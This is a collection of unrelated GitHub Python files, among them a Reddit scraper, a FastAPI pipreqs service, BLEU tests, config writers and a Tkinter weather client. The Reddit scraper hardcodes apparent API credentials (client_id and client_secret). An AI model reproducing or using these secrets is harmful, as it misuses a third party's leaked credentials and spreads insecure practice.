+{"seq_id":"10443501139","text":"#! python3\nimport inspect\nimport praw\nimport pandas as pd\nimport datetime as dt\n\nreddit = praw.Reddit(client_id='K0MvgY52tRivJQ', \\\n client_secret='WM-jeFwR9AMb3RA2d9aY6jI3ln4', \\\n user_agent='apiforvisualization', \\\n username='', \\\n password='')\n\n# print(inspect.getmembers(reddit))\nsubreddit = reddit.subreddit('dankmemes')\n\n# print(subreddit)\n\ntop_subreddit = subreddit.top(limit=500)\n\n# print(top_subreddit)\n\n# for submission in subreddit.top(limit=1):\n# print(submission.title, submission.id)\ntopics_dict = { \"title\":[], \n \"score\":[], \n \"id\":[], \"url\":[], \n \"comms_num\": [], \n \"created\": [], \n \"body\":[],\n \"author\":[]}\nfor submission in top_subreddit:\n topics_dict[\"title\"].append(submission.title)\n topics_dict[\"score\"].append(submission.score)\n topics_dict[\"id\"].append(submission.id)\n topics_dict[\"url\"].append(submission.url)\n topics_dict[\"comms_num\"].append(submission.num_comments)\n topics_dict[\"created\"].append(submission.created)\n topics_dict[\"body\"].append(submission.selftext)\n topics_dict[\"body\"].append(submission.selftext)\n\n\n","repo_name":"diptigautam/TheMemeTeam_EverestHack","sub_path":"Data Extraction/webscraping.py","file_name":"webscraping.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26897911031","text":"import asyncio\nimport functools\nimport tempfile\nfrom pathlib import Path\nfrom typing import Any, Coroutine, Tuple\n\nfrom cachetools import TTLCache\nfrom fastapi import APIRouter, HTTPException\nfrom fastapi.responses import PlainTextResponse\n\nfrom app.config import get_logger\n\nlog = get_logger()\n\nrouter = APIRouter()\n\n\nasync def _run(cmd: str) -> Tuple[str, str, int]:\n log.debug(f\"Running {cmd!r}\")\n try:\n proc = await asyncio.create_subprocess_exec(\n *cmd.split(),\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n )\n except Exception as e:\n log.exception(e, stack_info=True)\n return \"\", str(e), 1\n stdout, stderr = await proc.communicate()\n\n log.debug(f\"[{cmd!r} exited with {proc.returncode}]\")\n if stdout:\n log.debug(f\"[stdout]\\n{stdout.decode()}\")\n if stderr:\n log.debug(f\"[stderr]\\n{stderr.decode()}\")\n return stdout.decode(), stderr.decode(), proc.returncode\n\n\nasync def fetch_code(\n code_url: str, destination_dir: str, requirements_path: str = \"requirements.txt\"\n) -> str:\n log.debug(f\"Fetching from url {code_url!r}\")\n clone_cmd = f\"git clone --depth 1 {code_url} {destination_dir}\"\n stdout, stderr, returncode = await _run(clone_cmd)\n if returncode != 0:\n message = f\"Could not clone the code from {code_url!r}!\"\n log.exception(message, stack_info=True)\n raise HTTPException(status_code=400, detail=message)\n old_requirements = Path(destination_dir) / requirements_path\n if old_requirements.is_file():\n log.debug(f\"Reading existing requirements from {str(old_requirements)!r}\")\n return old_requirements.read_text()\n else:\n log.debug(f\"No existing requirements at {str(old_requirements)!r}\")\n return \"\"\n\n\nasync def run_pipreqs(code_url: str, dir_path: str) -> str:\n log.debug(f\"Running pipreqs on temporary directory {dir_path!r}\")\n clone_cmd = f\"pipreqs --print {dir_path}\"\n stdout, stderr, returncode = await _run(clone_cmd)\n if returncode != 0:\n message = f\"Could not run pipreqs on the code from {code_url!r}!\"\n log.exception(message, stack_info=True)\n raise HTTPException(status_code=500, detail=message)\n log.debug(stdout)\n return stdout\n\n\nasync def pipreqs_from_url(code_url: str) -> Tuple[str, str]:\n with tempfile.TemporaryDirectory() as dir_path:\n old_requirements = await fetch_code(code_url, dir_path)\n pipreqs_output = await run_pipreqs(code_url, dir_path)\n return pipreqs_output, old_requirements\n\n\nclass RequirementsCache(TTLCache):\n def __missing__(self, code_url: str) -> Coroutine[Any, Any, Tuple[str, str]]:\n future = asyncio.create_task(pipreqs_from_url(code_url))\n self[code_url] = future\n return future\n\n\n@functools.lru_cache(maxsize=1)\ndef get_requirements_cache() -> RequirementsCache:\n requirements_cache = RequirementsCache(1024, 300)\n return requirements_cache\n\n\n@router.get(\"/pipreqs\", response_class=PlainTextResponse)\nasync def pipreqs_endpoint(code_url: str):\n requirements_cache = get_requirements_cache()\n requirements, old_requirements = await requirements_cache[code_url]\n return requirements\n","repo_name":"gerardrbentley/pipreqs-api","sub_path":"backend/app/pipreqsapi.py","file_name":"pipreqsapi.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7019026234","text":"from collections import namedtuple\n\nimport pytest\nimport sacrebleu\n\nEPSILON = 1e-8\n\nStatistics = namedtuple('Statistics', ['common', 'total'])\n\ntest_cases = [([\"this is a test\", \"another test\"], [\"ref1\", \"ref2\"], 0.0),\n ([\"this is a test\"], [\"this is a test\"], 1.0),\n ([\"this is a fest\"], [\"this is a test\"], 0.223606797749979)]\n\ntest_case_offset = [(\"am I am a character sequence\", \"I am a symbol string sequence a a\", 0.1555722182, 0)]\n\n# statistic structure:\n# - common counts\n# - total counts\n# - hyp_count\n# - ref_count\n\ntest_case_statistics = [(\"am I am a character sequence\", \"I am a symbol string sequence a a\",\n Statistics([4, 2, 1, 0], [6, 5, 4, 3]))]\n\ntest_case_scoring = [((Statistics([9, 7, 5, 3], [10, 8, 6, 4]), 11, 11), 0.8375922397)]\n\ntest_case_effective_order = [([\"test\"], [\"a test\"], 0.3678794411714425),\n ([\"a test\"], [\"a test\"], 1.0),\n ([\"a little test\"], [\"a test\"], 0.03218297948685433)]\n\n# testing that right score is returned for null statistics and different offsets\n# format: stat, offset, expected score\ntest_case_degenerate_stats = [((Statistics([0, 0, 0, 0], [4, 4, 2, 1]), 0, 1), 0.0, 0.0),\n ((Statistics([0, 0, 0, 0], [10, 11, 12, 0]), 14, 10), 0.0, 0.0),\n ((Statistics([0, 0, 0, 0], [0, 0, 0, 0]), 0, 0), 0.0, 0.0),\n ((Statistics([6, 5, 4, 0], [6, 5, 4, 3]), 6, 6), 0.0, 0.0),\n ((Statistics([0, 0, 0, 0], [0, 0, 0, 0]), 0, 0), 0.1, 0.0),\n ((Statistics([0, 0, 0, 0], [0, 0, 0, 0]), 1, 5), 0.01, 0.0)]\n\n\n@pytest.mark.parametrize(\"hypotheses, references, expected_bleu\", test_cases)\ndef test_bleu(hypotheses, references, expected_bleu):\n bleu = sacrebleu.raw_corpus_bleu(hypotheses, [references], smooth_value=.01).score / 100\n assert abs(bleu - expected_bleu) < EPSILON\n\n\n@pytest.mark.parametrize(\"hypotheses, references, expected_bleu\", test_case_effective_order)\ndef test_effective_order(hypotheses, references, expected_bleu):\n bleu = sacrebleu.raw_corpus_bleu(hypotheses, [references], smooth_value=.01).score / 100\n assert abs(bleu - expected_bleu) < EPSILON\n\n\n@pytest.mark.parametrize(\"hypothesis, reference, expected_stat\", test_case_statistics)\ndef test_statistics(hypothesis, reference, expected_stat):\n result = sacrebleu.raw_corpus_bleu([hypothesis], [[reference]], .01)\n stat = Statistics(result.counts, result.totals)\n assert stat == expected_stat\n\n\n@pytest.mark.parametrize(\"statistics, expected_score\", test_case_scoring)\ndef test_scoring(statistics, expected_score):\n score = sacrebleu.metrics.BLEU.compute_bleu(statistics[0].common, statistics[0].total, statistics[1], statistics[2]).score / 100\n assert abs(score - expected_score) < EPSILON\n\n\n@pytest.mark.parametrize(\"hypothesis, reference, expected_with_offset, expected_without_offset\",\n test_case_offset)\ndef test_offset(hypothesis, reference, expected_with_offset, expected_without_offset):\n score_without_offset = sacrebleu.raw_corpus_bleu([hypothesis], [[reference]], 0.0).score / 100\n assert abs(expected_without_offset - score_without_offset) < EPSILON\n\n score_with_offset = sacrebleu.raw_corpus_bleu([hypothesis], [[reference]], 0.1).score / 100\n assert abs(expected_with_offset - score_with_offset) < EPSILON\n\n\n@pytest.mark.parametrize(\"statistics, offset, expected_score\", test_case_degenerate_stats)\ndef test_degenerate_statistics(statistics, offset, expected_score):\n score = sacrebleu.metrics.BLEU.compute_bleu(statistics[0].common, statistics[0].total, statistics[1], statistics[2],\n smooth_method='floor', smooth_value=offset).score / 100\n assert score == expected_score","repo_name":"awslabs/sockeye","sub_path":"test/unit/test_bleu.py","file_name":"test_bleu.py","file_ext":"py","file_size_in_byte":3841,"program_lang":"python","lang":"en","doc_type":"code","stars":1192,"dataset":"github-code","pt":"48"} +{"seq_id":"14418793839","text":"# random demo code goes here\n# Nest your dictionaries!\n\nbars = {\n 'Lloyds': {\n 'item': 'Cheap bourbon',\n 'day' : 'Tuesday'\n },\n 'Manuels' : {\n 'item' : 'The Dogzilla',\n 'day' : 'Wednesday',\n 'fact': 'Python meetup on Thursdays'\n },\n 'The Imperial': {\n 'item': 'Philly',\n 'day' : ['Tuesday', 'Friday']\n #using a list because the days don't need individual labels\n }\n}\n\nplaces = {\n 'US': {\n 'Georgia': {\n 'Atlanta': {\n 'work': 'DigitalCrafts',\n 'cats': ['Oakley', 'Milla']\n },\n 'Savannah': {\n 'coffee': 'That place that time'\n }\n },\n 'Tennessee': {\n 'Nashville': {\n 'lunch': 'Hattie B'\n }\n }\n },\n 'Europe': {\n 'Germany': {\n 'Berlin': {\n 'lunch': 'The Reichstag'\n },\n 'Munich': {\n 'snack': 'Hofbrauhaus'\n }\n }\n }\n}\n\nmovies = [\n {\n 'title': 'Avengers: End Game',\n 'release date': '2019',\n },\n {\n 'title': 'Avengers: Infinity dolars',\n 'release date': '2018'\n }\n]\n# movies[1]['release date']\ncharges = [\n {\n 'vendor': 'Kula',\n 'amount': 6.36,\n },\n {\n 'vendor': 'Kula',\n 'amount': 9.11,\n },\n {\n 'vendor': 'Barnes and Noble',\n 'amount': 16.49,\n },\n {\n 'vendor': 'Kula',\n 'amount': 3.99,\n },\n {\n 'vendor': 'Lloyds',\n 'amount': 14.99,\n }\n]\n\n\n# Bad ways to store complicated information:\n# best_item_at_bars = [\n# 'Cheap bourbon', # at Lloyd's\n# 'The Dogzilla', # at Manuel's\n# 'Best staff ever' # The Imperial\n# ]\n\n# day_least_crowded = [\n# 'Tuesday',\n# 'Wednesday',\n# ]\n\n# print(f\"At {bars[0]}, they have a good {best_item_at_bars}\")\n","repo_name":"JMcWhorter150/dictionary_exercises","sub_path":"learning.py","file_name":"learning.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6355615683","text":"#Engine size of 1.3L or larger are awarded 23p per mile\r\n#those unser 1.3L are awarded 15p per mile\r\n\r\nExpensiveMile=\"23p\"\r\nCheapMile=\"15p\"\r\n\r\n\r\n#UserInput for engine size\r\nEngineSize=float(input(\"Input your engine size\"))\r\n\r\n#User input for milage\r\nMilage=float(input(\"Enter the total mileage travelled\"))\r\n\r\nif EngineSize >= 1.3:\r\n AmountGranted1=Milage*23\r\n print(\"your claim is \" ,AmountGranted1)\r\n\r\nelse:\r\n AmountGranted2=Milage*15\r\n print(\"your claim is \", AmountGranted2)\r\n \r\n \r\n","repo_name":"arenfuller/Learning","sub_path":"AF_MileageCalc.py","file_name":"AF_MileageCalc.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9216901493","text":"from .models import Post\nfrom rest_framework import serializers\n\n\nclass PostSerializer(serializers.ModelSerializer):\n author = serializers.ReadOnlyField(source=\"author.email\")\n\n class Meta:\n model = Post\n fields = [\"expense\", \"description\", \"author\", \"created_at\", \"updated_at\"]\n","repo_name":"ppp5649/api-server-drf","sub_path":"money_book/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40764710471","text":"from rest_framework.serializers import ModelSerializer\n\nfrom .. import models\n\n\nclass RaceSerializer(ModelSerializer):\n\n class Meta:\n model = models.Race\n fields = (\n 'id',\n 'name',\n )\n\n\nclass PilotShortInfoSerializer(ModelSerializer):\n race = RaceSerializer()\n\n class Meta:\n model = models.Pilot\n fields = (\n 'id',\n 'name',\n 'race',\n )\n\n\nclass SpaceshipSerializer(ModelSerializer):\n pilot = PilotShortInfoSerializer()\n\n class Meta:\n model = models.Spaceship\n fields = (\n 'id',\n 'name',\n 'ship_class',\n 'speed',\n 'max_distance',\n 'pilot',\n 'hp',\n )\n\n\nclass FractionSerializer(ModelSerializer):\n\n class Meta:\n model = models.Fraction\n fields = (\n 'id',\n 'name',\n )\n\n\nclass PilotSerializer(ModelSerializer):\n race = RaceSerializer(read_only=True)\n spaceships = SpaceshipSerializer(many=True, required=False, read_only=True)\n fractions = FractionSerializer(many=True, required=False, read_only=True)\n\n class Meta:\n model = models.Pilot\n fields = (\n 'id',\n 'name',\n 'race',\n 'user',\n 'spaceships',\n 'fractions',\n )\n","repo_name":"fr0mhell/orm-examples","sub_path":"space_rangers/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34969855841","text":"from typing import List, Dict, Any\nfrom datetime import date\n\nfrom pymaya.maya_base import MayaBase\nfrom pymaya.request_classes.maya_fund_details_request import MayaFundDetailsRequest\nfrom pymaya.request_classes.maya_historical_request import MayaHistoricalRequest\nfrom pymaya.utils import streamify, Language\n\n\nclass MayaFunds(MayaBase):\n TYPE = 4\n\n @staticmethod\n def get_names(english_details: Dict[str, Any], hebrew_details: Dict[str, Any]):\n return {\n \"english_short_name\": english_details.get(\"FundLongName\", \"\"),\n \"english_long_name\": english_details.get(\"FundLongName\", \"\"),\n \"hebrew_short_name\": hebrew_details.get(\"FundShortName\", \"\"),\n \"hebrew_long_name\": hebrew_details.get(\"FundLongName\", \"\"),\n }\n\n def get_details(self, security_id: str, lang: Language = Language.ENGLISH):\n return self._send_request(MayaFundDetailsRequest(security_id, lang))\n\n def get_price_history_chunk(\n self, security_id: str, from_data: date, to_date: date, page: int, lang: Language = Language.ENGLISH\n ) -> Dict:\n return self._send_request(MayaHistoricalRequest(security_id, from_data, to_date, page, lang=lang))\n\n @streamify\n def get_price_history(\n self,\n security_id: str,\n from_data: date,\n to_date: date = date.today(),\n page: int = 1,\n lang: Language = Language.ENGLISH,\n ) -> List[Dict]:\n data = self.get_price_history_chunk(security_id, from_data, to_date, page, lang)\n return data.get(\"Table\", [])\n","repo_name":"BenSterenson/pymaya","sub_path":"pymaya/maya_funds.py","file_name":"maya_funds.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3874451207","text":"from marshmallow import fields\n\nfrom .field_set import FieldSet, FieldSetSchema\n\n\nclass UserAgent(FieldSet):\n\n def __init__(self,\n device_name: str = None,\n name: str = None,\n original: str = None,\n version: str = None,\n *aargs, **kwargs):\n super().__init__(*aargs, **kwargs)\n self.device_name = device_name\n self.name = name\n self.original = original\n self.version = version\n\nclass UserAgentSchema(FieldSetSchema):\n device_name = fields.String()\n name = fields.String()\n original = fields.String()\n version = fields.String()\n\n\n","repo_name":"kumina/kubi_ecs_logger","sub_path":"kubi_ecs_logger/models/fields/useragent.py","file_name":"useragent.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"74426315985","text":"'''\nCreated on Jun 16, 2012\n\n@author: Fabio Zadrozny\n'''\nfrom mu_repo.print_ import Print\nfrom mu_repo.backwards import iteritems\n\n#===================================================================================================\n# GetReposAndCurrBranch\n#===================================================================================================\ndef GetReposAndCurrBranch(params, verbose=True):\n '''\n :param params: Params\n The parameters used to get the repos and current branch (mostly using config).\n\n :return: list(tuple(str, str))\n A list with the repository and current branch for that repository.\n '''\n repos_and_curr_branch = []\n def OnOutput(output):\n stdout = output.stdout.strip()\n if stdout:\n repos_and_curr_branch.append((output.repo, stdout))\n else:\n if verbose:\n Print('Unable to update (could not get current branch for: %s)' % (output.repo,))\n\n from .action_default import Run #@Reimport\n from mu_repo import Params\n old_serial = params.config.serial\n params.config.serial = False #Cannot be serial as we want to get the output\n Run(\n Params(params.config, ['rev-parse', '--abbrev-ref', 'HEAD'], params.config_file),\n on_output=OnOutput\n )\n if verbose:\n branch_to_repos = {}\n for repo, branch in repos_and_curr_branch:\n branch_to_repos.setdefault(branch, []).append(repo)\n\n for branch, repos in iteritems(branch_to_repos):\n Print(\"Will handle ${START_COLOR}origin %s${RESET_COLOR} for: %s\\n\" % (\n branch, ', '.join(sorted(repos))))\n\n #Restore serial for next command.\n params.config.serial = old_serial\n return repos_and_curr_branch\n\n","repo_name":"fabioz/mu-repo","sub_path":"mu_repo/get_repos_and_curr_branch.py","file_name":"get_repos_and_curr_branch.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":275,"dataset":"github-code","pt":"48"} +{"seq_id":"22438014710","text":"class Solution:\n def findDuplicate(self, paths):\n file_map = {}\n for path in paths:\n dir, *files = path.split()\n for file in files:\n p = file.index('(')\n filename, content = file[:p], file[p + 1:-1]\n file_map.setdefault(content, []).append(dir + '/' + filename)\n return [*filter(lambda x: len(x) > 1, file_map.values())]","repo_name":"MadSkittles/leetcode","sub_path":"609.py","file_name":"609.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36166378744","text":"#!/usr/bin/env python3\n\nimport configparser\nimport os\nimport sys\nimport importlib\nimport importlib.util\nimport logging\nfrom distutils.spawn import find_executable\nimport pycarl\n\nimport prophesy\n\nprophesy_config_root = prophesy.get_config_root()\nprint(prophesy_config_root)\n\n#thisfilepath = os.path.dirname(os.path.realpath(__file__))\n\n\ndef is_executable(path):\n \"\"\"\n Check if the path is an executable.\n :param path: path.\n :return: True iff the path is an executable.\n \"\"\"\n return os.path.isfile(path) and os.access(path, os.X_OK)\n\n\ndef find_tool(name, path=None):\n \"\"\"\n Search for a tool with the given name.\n :param name: Tool name.\n :param path: Optional path to search recursively.\n :return: The location of the tool, and an empty string otherwise\n \"\"\"\n res = find_executable(name)\n if res:\n return res\n\n if path is not None:\n # Search manually in the given path\n if sys.version_info[1] >= 5:\n # Python >= 3.5\n import glob\n for file in glob.iglob(os.path.join(path, \"**\", name), recursive=True):\n if is_executable(file):\n return file\n else:\n # Python <= 3.4\n import fnmatch\n for root, dirnames, filenames in os.walk(path):\n for filename in fnmatch.filter(filenames, name):\n file = os.path.join(root, filename)\n if is_executable(file):\n return file\n\n return \"\"\n\n\ndef check_python_api(name):\n \"\"\"\n Check if the required python module is present.\n :param name: Name of the python api.\n :return: True iff the api is present.\n \"\"\"\n spec = importlib.util.find_spec(name)\n return spec is not None\n\n\ndef get_initial_config(config, search_path):\n # Setup paths\n config_dirs = dict()\n config_dirs[\"tmp\"] = os.path.join(prophesy_config_root, \"tmp\", \"prophesy\")\n config_dirs[\"intermediate_files\"] = os.path.join(\n config_dirs[\"tmp\"], \"intermediate\")\n config_dirs[\"plots\"] = os.path.join(config_dirs[\"tmp\"], \"plots\")\n config_dirs[\"custom_path\"] = \"\"\n config[\"directories\"] = config_dirs\n\n # Setup tool paths\n config_tools = dict()\n config_tools[\"z3\"] = find_tool(\"z3\", search_path)\n config_tools[\"isat\"] = find_tool(\"isat\", search_path)\n config_tools[\"yices\"] = find_tool(\"yices-smt2\", search_path)\n config_tools[\"param\"] = find_tool(\"param\", search_path)\n config_tools[\"storm\"] = find_tool(\"storm\", search_path)\n config_tools[\"storm-pars\"] = find_tool(\"storm-pars\", search_path)\n config_tools[\"prism\"] = find_tool(\"prism\", search_path)\n config[\"external_tools\"] = config_tools\n\n # Setup sampling constants\n config_sampling = dict()\n config_sampling[\"distance\"] = str(0.2)\n config_sampling[\"sampling_threshold_new\"] = str(50)\n config[\"sampling\"] = config_sampling\n\n # Setup constraint constants\n config_constraints = dict()\n config[\"constraints\"] = config_constraints\n\n config_smt = dict()\n config_smt[\"timeout\"] = str(10)\n config_smt[\"memout\"] = str(100)\n config[\"smt\"] = config_smt\n\n\ndef get_initial_dependencies_config(config):\n # Setup optional dependencies\n config_deps = dict()\n config_deps[\"stormpy\"] = check_python_api(\"stormpy\")\n config_deps[\"pycarl-parser\"] = pycarl.has_parser()\n config_deps[\"pypdf2\"] = check_python_api(\"PyPDF2\")\n config_deps[\"gurobipy\"] = check_python_api(\"gurobipy\")\n config[\"installed_deps\"] = config_deps\n\n\ndef get_initial_web_config(config):\n config_dirs = dict()\n config_dirs[\"server_tmp\"] = os.path.join(\n prophesy_config_root, \"tmp\", \"prophesy_web\")\n config_dirs[\"web_sessions\"] = os.path.join(\n config_dirs[\"server_tmp\"], \"sessions\")\n config_dirs[\"web_results\"] = os.path.join(\n config_dirs[\"server_tmp\"], \"results\")\n config_dirs[\"web_examples\"] = os.path.join(\n config_dirs[\"server_tmp\"], \"examples\")\n config[\"directories\"] = config_dirs\n\n\ndef write_initial_config(search_path=None, skip_existing=False):\n if search_path is not None:\n search_path = os.path.expanduser(search_path)\n\n exists = False\n path = os.path.join(prophesy_config_root, \"prophesy.cfg\")\n if os.path.isfile(path):\n print(\"Config file {} already exists.\".format(path))\n exists = True\n if not exists or not skip_existing:\n print(\"Write config to {} with search path {}\".format(path, search_path))\n config = configparser.ConfigParser()\n get_initial_config(config, search_path)\n logging.info(\"Writing config to \" + path)\n with open(path, 'w+') as configfile:\n config.write(configfile)\n\n exists = False\n\n path = os.path.join(prophesy_config_root, \"dependencies.cfg\")\n if os.path.isfile(path):\n print(\"Dependencies file {} already exists.\".format(path))\n exists = True\n if not exists or not skip_existing:\n logging.info(\"Writing dependencies to \" + path)\n config = configparser.ConfigParser()\n get_initial_dependencies_config(config)\n\n with open(path, 'w+') as configfile:\n config.write(configfile)\n\n exists = False\n path = os.path.join(prophesy_config_root, \"prophesy_web.cfg\")\n if os.path.isfile(path):\n print(\"Web config file {} already exists.\".format(path))\n exists = True\n if not exists or not skip_existing:\n config = configparser.ConfigParser()\n get_initial_web_config(config)\n logging.info(\"Writing config to \" + path)\n with open(path, 'w+') as configfile:\n config.write(configfile)\n\n\nif __name__ == \"__main__\":\n write_initial_config()\n","repo_name":"moves-rwth/prophesy","sub_path":"prophesy_write_config.py","file_name":"prophesy_write_config.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"11783107696","text":"import tkinter as tk\nfrom tkinter import *\nimport socket\nimport select\nimport sys\nimport time\nimport requests\nimport datetime\nfrom PIL import Image, ImageTk\n\n\n#------------------------------ Funtzioak ------------------------------#\n\n#\n# Funtzio honen bidez socket bat sortuko da tcp konexio bat irekitzeko.\n#\ndef tcp_connect(ip, port):\n global sock\n global conn\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n adr = (ip[:-1], int(port))\n\n try:\n s.connect(adr);\n print(\"[*] Konektatuta!\")\n debug.configure(text = \"Konektatuta!\")\n except socket.gaierror:\n print(\"[!] Helbidea gaizki\") \n debug.configure(text = \"Helbidea gaizki\")\n except socket.error:\n print(\"[!] Konexio errorea\")\n debug.configure(text = \"Konexio errorea\")\n sock = s\n conn = True\n\n \n#\n# Funtzio honen bidez, datu bat didaliko da aurreko pausoan sortutako \n# socketa erabilita.\n#\ndef tcp_send(s):\n global job_id \n agindua = \"GET\\r\"\n s.send(agindua.encode('utf-8'))\n mezua = \"\"\n s.settimeout(10)\n start = time.time()\n while True:\n try:\n buf = s.recv(4)\n except socket.timeout:\n print(\"timeout\")\n break\n\n mezua += buf.decode('utf-8')\n end = time.time()\n elapsed = end - start\n if(elapsed >= 10):\n print(\"Itxarote denbora agortuta\")\n break\n if(mezua.find('\\n') != -1):\n break\n print(\"[SERVER RESPONSE]\\n\" + mezua)\n\n # mezuaren tratamendua, informazioa ateratzeko\n mezua = mezua.strip()\n print(mezua)\n current_time = datetime.datetime.now()\n formated_date = str('%02d' % current_time.year) + \"/\" + str('%02d' % current_time.month) + \"/\" + str('%02d' % current_time.day)\n formated_hour = str('%02d' % current_time.hour) + \":\" + str('%02d' % current_time.minute)\n h_data.configure(text = mezua[3:7] )\n h_data2.configure(text = \"%\")\n time_label.configure(text = formated_date + \" - \" + formated_hour)\n #time_label2.configure(text = formated_date)\n #fahrenheit = (float(mezua[8:10])*1.8) + 32\n #tmp_data.configure(text = mezua[8:] + \"°C, \" + str(fahrenheit) + \"°F\")\n tmp_data.configure(text = mezua[8:12])\n tmp_data2.configure(text = \"°C\")\n anem = int(mezua[13:], 16)\n anem = anem /10\n #a_data.configure(text = str(anem) + \".0\")\n a_data.configure(text = str(anem))\n a_data2.configure(text = \"m/s\")\n job_id = minimeteo_connect.after(3000, tcp_send, s)\n\n\n#\n# Fuztzio honen bidez tcp konexio bat itxiko da.\n#\ndef tcp_close(s):\n global conn\n conn = False\n minimeteo_connect.after_cancel(job_id)\n s.close()\n print(\"[*] Deskonektatuta!\")\n debug.configure(text = \"Deskonektatuta!\")\n print(\"Agur!\")\n debug.configure(text = \"Agur!\")\n exit()\n\ndef get_data():\n global conn\n conn = 0\n\n \n#-----------------------------------------------------------------------#\n\n\n##### Leiho nagusia sortu #####\nminimeteo_connect = tk.Tk()\nminimeteo_connect.title('Minimeteo')\nminimeteo_connect.geometry('1200x700')\n\n\nconn = False\nsock = 0\njob_id = 0\n\n\nconf_bar = Frame(minimeteo_connect)\nconf_bar.place(height = 50, width = 1200)\nconf_bar.configure(bg='#5e81ac')\n\nmain = Frame(minimeteo_connect)\nmain.place(x = 0, y = 50, height = 650, width = 1200)\nmain.configure(bg='#b0c4de')\n\n\n##### Goioko aldeko botoiak eta etiketen sorrera, aurreko Funtzioak erabiltzeko.\n\n# IP helbidea jartzeko etiketa eta textbox-a\nip_label = Label(conf_bar, text='IP:', font = (\"Hack\", 15))\nip_label.place(relx=.02, rely=.5, anchor=\"center\")\nip_label.configure(bg='#5e81ac')\n\nip_box = Text(conf_bar, height = 1, width = 16)\nip_box.place(relx = .1, rely = .5, anchor = \"center\")\nip_box.configure(bg='#e5e9f0')\nip_box.insert('end', \"192.168.4.1\")\n\n# Portua jartzeko etiketa eta textbox-a\nport_label = Label(conf_bar, text='PORTUA:', font = (\"Hack\", 15))\nport_label.place(relx=.2, rely=.5, anchor=\"center\")\nport_label.configure(bg='#5e81ac')\n\nport_box = Text(conf_bar, height = 1, width = 16)\nport_box.place(relx = .3, rely = .5, anchor = \"center\")\nport_box.configure(bg='#e5e9f0')\nport_box.insert('end', 4567)\n\n#Konektatzeko boitoia\n\nconnect = tk.Button(conf_bar, text='Connect', width=10, command= lambda: tcp_connect(ip_box.get(1.0, 'end'), port_box.get(1.0, 'end')), font = (\"Hack\", 15))\nconnect.place(relx=.45, rely=.5, anchor=\"center\")\nconnect.configure(bg='#a3be8c')\n\ndebug = Label(conf_bar, text = \"\", font = (\"Hack\", 15))\ndebug.place(relx=.6, rely=.5, anchor=\"center\")\ndebug.configure(bg='#5e81ac')\n\n# Datuak lortzeko agindua emango duen botoia\ngetdatab = tk.Button(conf_bar, text='Get data', width=10, command= lambda: tcp_send(sock), font = (\"Hack\", 15))\ngetdatab.place(relx=.8, rely=.5, anchor=\"center\")\ngetdatab.configure(bg='#d08770')\n\nexit_button = tk.Button(conf_bar, text='Exit', width=6, command= lambda: tcp_close(sock), font = (\"Hack\", 15))\nexit_button.place(relx=.95, rely=.5, anchor=\"center\")\nexit_button.configure(bg='#bf616a')\n\n\n# Data eta ordua pantailaratzeko etiketa\n\ntime_label = Label(main, text=\"\", font = (\"Hack\", 80), fg = '#1b2b40')\ntime_label.place(relx=.5, rely=.8, anchor = \"center\")\ntime_label.configure(bg = '#b0c4de')\n\n\n# Momentuko eguraldia pantailaratu\n\ntmp_label = Label(main, text=' MOMENTUKO EGURALDIA ', font = (\"Hack\", 18), fg = '#e5e9f0')\ntmp_label.place(relx=.5, rely=.1, anchor = \"center\")\ntmp_label.configure(bg = '#4874ac')\n\ntmp_data = Label(main, text = \"\", font = (\"Hack\", 80), fg = '#1b2b40')\ntmp_data.place(relx=.15, rely=.3, anchor=\"center\")\ntmp_data.configure(bg = '#b0c4de')\n\ntmp_data2 = Label(main, text = \"\", font = (\"Hack\", 40), fg = '#1b2b40')\ntmp_data2.place(relx=.3, rely=.33, anchor=\"center\")\ntmp_data2.configure(bg = '#b0c4de')\n\nh_data = Label(main, text = \"\", font = (\"Hack\", 80), fg = '#1b2b40')\nh_data.place(relx=.45, rely=.3, anchor=\"center\")\nh_data.configure(bg = '#b0c4de')\n\nh_data2 = Label(main, text = \"\", font = (\"Hack\", 40), fg = '#1b2b40')\nh_data2.place(relx=.6, rely=.33, anchor=\"center\")\nh_data2.configure(bg = '#b0c4de')\n\n\na_data = Label(main, text = \"\", font = (\"Hack\", 80), fg = '#1b2b40')\na_data.place(relx=.75, rely=.3, anchor=\"center\")\na_data.configure(bg = '#b0c4de')\n\na_data2 = Label(main, text = \"\", font = (\"Hack\", 40), fg = '#1b2b40')\na_data2.place(relx=.93, rely=.33, anchor=\"center\")\na_data2.configure(bg = '#b0c4de')\n\nh_label = Label(main, text=' ORDUA ETA DATA ', font = (\"Hack\", 18), fg = '#e5e9f0')\nh_label.place(relx=.5, rely=.6, anchor = \"center\")\nh_label.configure(bg = '#4874ac')\n\n\n#ip = requests.get(\"https://api.ipify.org\").text\n\n#ip = \"83.213.146.232\"\n#url = \"http://ip-api.com/json/\" + ip\n#\n#resp = requests.get(url).json()\n#\n#info = resp['city'] + \", \" + resp['country']\n#info_label.configure(text = 